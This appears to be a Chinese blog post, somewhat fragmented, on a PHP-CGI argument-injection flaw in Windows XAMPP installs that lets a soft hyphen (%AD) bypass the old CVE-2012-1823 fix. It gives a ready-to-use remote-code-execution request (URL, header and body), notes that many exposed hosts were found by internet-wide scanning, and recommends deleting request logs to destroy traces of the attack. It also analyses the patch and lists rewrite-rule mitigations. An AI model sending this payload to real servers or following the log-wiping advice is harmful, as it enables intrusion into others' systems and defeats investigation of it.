五一假期,偶然间刷到了这个漏洞,我用shodan和钟馗之眼做了资产扫描,发现大量有使用XMAPP的用户,并且攻击成本并不高,危害却很大。
中国工程院院士邬贺铨曾说过:“网络安全永远在路上,那么总是要不断在完善,可以说见招拆招”。漏洞评分达到了惊人的9.8,这篇文章必须写。
删除请求日志用于销毁攻击过程,亲测即使Apache处于运行状态也好使。如果服务器实例本身或上游节点没做请求记录,溯源都不可能。Windows的Best-Fit字符编码转换特性导致PHP原本的安全限制被绕过,导致攻击者可以通过特定的字符序列绕过此前CVE-2012-1823的防护,从而导致远程代码执行。
POST的请求方式。
URL: 电脑IP/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
Header:Content-Type 设置为 application/x-www-form-urlencoded
Body:直接传入即可,不需要form表单提交所谓的name=value
然后发送请求,部分乱码返回不用管,直接RCE了。
0x00ad
和0x002d
两种表示方式,其中0x00ad称之为连字符
。用PowerShell指令也能得到部分验证:#[System.Text.Encoding]::UTF8.GetBytes('-') 会将字符 - 转换为它的 UTF-8 字节序列。
#ForEach-Object { '{0:X2}' -f $_ } 将字节序列的每个字节转换为十六进制格式。
[System.Text.Encoding]::UTF8.GetBytes('-') | ForEach-Object { '{0:X2}' -f $_ }
-d allow_url_include=1 -d auto_prepend_file=php://input
是直接可以注入,从而实现RCE的。if(*p == '-') {skip_getopt = 1;}
的等值判断,注意传入%,实际上是url转义的结果,url转义-的结果是%2d
,那么就传入%AD绕过
,前面的0x00可直接省略。*p == '-'
绕过,设置唯一的目的是使得后面传入的字符串不做参数解析,不做解析相当于没有业务逻辑要处理,自然到此为止。原本的
if(*p == '-') {
skip_getopt = 1;
}
增加了如下方代码,翻译过来是,我们必须考虑“best fit”映射行为,通过
/* On Windows we have to take into account the "best fit" mapping behaviour. */
#ifdef PHP_WIN32
if (*p >= 0x80) { //检查字符是否为高字节(大于等于 0x80)
wchar_t wide_buf[1]; //创建一个宽字符数组,用来存放当前字符
wide_buf[0] = *p; //将字符 *p 存放到 wide_buf[0] 中
char char_buf[4]; //创建一个多字节字符数组,用来存放转换后的字符
size_t wide_buf_len = sizeof(wide_buf) / sizeof(wide_buf[0]); //计算宽字符数组的长度(这里只包含一个字符)
size_t char_buf_len = sizeof(char_buf) / sizeof(char_buf[0]); //计算多字节字符数组的长度(最多 4 个字节)
// 将宽字符转换为多字节字符,使用 Windows 的 WideCharToMultiByte 函数
if (WideCharToMultiByte(CP_ACP, 0, wide_buf, wide_buf_len, char_buf, char_buf_len, NULL, NULL) == 0
|| char_buf[0] == '-') { // 如果转换失败或转换后的第一个字符是 '-'
skip_getopt = 1; // 设置跳过 getopt 选项的标志
}
}
#endif
ScriptAlias /php-cgi/ "C:/xampp/php/" #任何以 /php-cgi/开头的 URL 请求都会被 Apache 转发到 C:/xampp/php/目录下的文件。
#指定了对 C:/xampp/php/目录的访问控制设置。它包裹了一些Directory内部的指令,用来限制或允许该目录下文件的访问。
AllowOverride None #指定不允许在该目录内使用 .htaccess 文件覆盖全局配置
Options None #禁用了 C:/xampp/php/目录下所有的选项(如目录列表、符号链接等),用于减少安全风险。
Require all denied #默认情况下,C:/xampp/php/目录下的所有文件和资源都拒绝访问
#声明文件php-cgi.exe,准备做另外的权限控制
Require all granted #做的是允许php-cgi.exe文件的访问
php-cgi.exe -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f ]
php [args...]
-a Run interactively
-b | Bind Path for external FASTCGI Server mode
-C Do not chdir to the script's directory
-c | Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f Parse . Implies `-q'
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z Load Zend extension .
-T Measure execution time of script repeated times.
%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
,就变成了-d+cgi.force_redirect=0+-d+allow_url_include=1+-d+auto_prepend_file=php://input
。
内添加RewriteEngine On #启用重写
RewriteCond %{QUERY_STRING} ^%ad [NC] #检查URL参数后面%ad开头的路径,NC表示不区分大小写
RewriteRule .? - [F,L] #若任意路径符合上述特征(.?),不对url做修改(-),但是要拒绝访问(F),这是最后一条规则,如果该规则匹配成功,就不会继续处理其他的重写规则(L)
这个将导致攻击返回403
或注释掉:
ScriptAlias /php-cgi/ "C:/xampp/php/"
这个将导致攻击返回404
PHP CGI(Common Gateway Interface)
PHP Mod(Apache mod_php)
PHP-FPM(FastCGI Process Manager)
参与评论
手机查看
返回顶部